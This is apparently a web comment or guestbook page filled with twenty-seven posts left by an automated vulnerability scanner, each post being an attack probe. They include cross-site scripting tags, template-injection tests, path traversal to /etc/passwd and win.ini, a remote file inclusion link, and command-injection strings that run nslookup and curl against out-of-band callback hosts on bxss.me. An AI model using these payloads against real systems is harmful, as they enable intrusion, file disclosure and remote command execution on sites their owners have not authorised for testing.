[No.27]  by.1

<a HrEF=jaVaScRiPT:>

[No.26]  by.1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

[No.25]  by.1

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

[No.24]  by.1

dfb{{'abcd'.toUpperCase()}}xca

[No.23]  by.1

dfb{{{this}}}xca

[No.22]  by.1

dfb{{"abc"|title}}xca

[No.21]  by.1

'"()&%<zzz><ScRiPt >x3Vj(9869)</ScRiPt>

[No.20]  by.1

contentsPageComment.html/.

[No.19]  by.1

contentsPageComment.html

[No.18]  by.1

<!--

[No.17]  by.1

'"

[No.16]  by.1

contentsPageComment.html

[No.15]  by.1

bxss.me/t/rfi.php?%00

[No.14]  by.1

bxss.me/t/xss.html?%00

[No.13]  by.1

redirtest.acx

[No.12]  by.1

bxss.me

[No.11]  by.1

c:/windows/win.ini

[No.10]  by.1

'"()

[No.9]  by.1

../../../../../../../../../../../../../../etc/shells

[No.8]  by.1

/etc/shells

[No.7]  by.1

!(()&&!|*|*|

[No.6]  by.1

)

[No.5]  by.1

|(nslookup${IFS}-q${IFS}cname${IFS}hitflgfnciazr802f9.bxss.me||curl${IFS}hitflgfnciazr802f9.bxss.me)

[No.4]  by.1

`(nslookup -q=cname hitpbdipmkfou490a8.bxss.me||curl hitpbdipmkfou490a8.bxss.me)`

[No.3]  by.1

$(nslookup -q=cname hitbnqifhepyc79b08.bxss.me||curl hitbnqifhepyc79b08.bxss.me)

[No.2]  by.1

../../../../../../../../../../../../../../windows/win.ini

[No.1]  by.1

../../../../../../../../../../../../../../etc/passwd